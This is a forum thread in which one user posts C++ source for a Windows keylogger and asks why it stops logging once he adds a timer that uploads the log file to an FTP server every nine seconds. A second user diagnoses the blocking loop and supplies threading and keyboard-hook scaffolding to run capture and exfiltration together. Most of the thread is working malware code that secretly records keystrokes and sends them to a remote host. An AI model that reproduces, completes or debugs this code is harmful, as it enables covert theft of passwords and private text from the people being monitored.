problem with keylogger [c++]

[HWK1982]

hi everybody

my problem is when i set timer for ftp to send me a file , the keylogger doesn't log or save any text in log file , i face this problem just when i set timer for ftp otherwise it work fine i mean without timer

i set timer for 9s just for test

#include <windows.h>
#include <fstream>
#include <wininet.h>
#include <string>
#include <ctime>
#include <iostream>
using namespace std;

void vSendFile()
{
	while(1){
     Sleep(9000);
	HINTERNET hInternet;
	HINTERNET hFtpSession;
	hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);

	if (hInternet == NULL) cout << ("No Internet Connection..\n");
	else cout << ("Internet Connection Established\n");

	hFtpSession = InternetConnect(hInternet,"FTP-server",INTERNET_DEFAULT_FTP_PORT, "user","pass", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE,0 );
	if (!hFtpSession) cout << ("Error in the FTP connection..\n");
	else
	{
		cout <<("FTP Connection Established!\n");
	
		if (!FtpPutFile(hFtpSession, "log.txt", "log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
		cout <<("File Transfer Failed..\n");
		else cout << ("The file was sent..\n");
		InternetCloseHandle(hFtpSession);
		InternetCloseHandle(hInternet);
	   
	}

Uhhh :S Your window isn't even created? Then in the main of the program, your calling vSendFile() which doesn't even have any data to send because the hook is after the SendFile.. Not only that but SendFile loops forever so it never gets to the hook?

then you get the message Callback which starts logging all the info into the text.. then what? Nothing happens because your still stuck in the SendFile loop.

Also if your going to do this, learn threading or implement it if you already know it.

Have a thread constantly log keys and put them in the file.. and in the main, have it send out the file every 9 seconds.. Otherwise your Main will be waiting every 9 seconds before it starts logging keys and sending them.

thanks for your answer

triumphost what should i do ?

[HWK1982]

someone answer me ..... i am waiting

[triumphost]

I told you :S

Create a thread to do the sending out..
Every 9 seconds, your thread will send out the file..

Note Below is just an example.. My threading may be off a bit or a lot.. it's been a while but I'm sure you can handle that.

MSG messages;       //Global
void KeepAlive()
{
    while (GetMessage(&messages, NULL,0,0))
    {
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }
}

void vSendFile()
{
    //Do whatever in here.. every 9 seconds..
}

void write(const char* c)
{
    FILE *f = fopen("log.txt","a+");
    if(f!=NULL)
    {
        fputs(c,f);
        fclose(f);
    }
}

DWORD ThreadProc(LPVOID lpParameter)
{
    //Run the function!
    void (* function)() = (void (*)())lpParameter;
    function();
    return 0;
}

void Threading(HANDLE hThread, DWORD ThreadID, void* FunctionToPass)
{
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (void*)FunctionToPass, 0, &ThreadID);
}

//WinMain Here..
{
//All WinAPI functions required..

    ShowWindow (hwnd, nCmdShow);


    //Hook your keyboard..

    //Message Proc..
    KeepAlive();
return messages.wParam;
}


//Callback or whatever call back your using should have these:

HANDLE HThread;
DWORD TThreadID = 1;
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)                  /* handle the messages */
    {
        case WM_CREATE:
        {
            Threading(HThread, TThreadID, (void*)vSendFile);  //Create a thread that sends out the file after 8 seconds.. After the 8 seconds is up, destroy the thread or return 0 inside the thread. Close the thread handle..
        }
        break;
        case WM_DESTROY:
            CloseHandle(HThread);      //Close the handle if HThread != NULL..
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */

            return DefWindowProc (hwnd, message, wParam, lParam);
    }

    return 0;
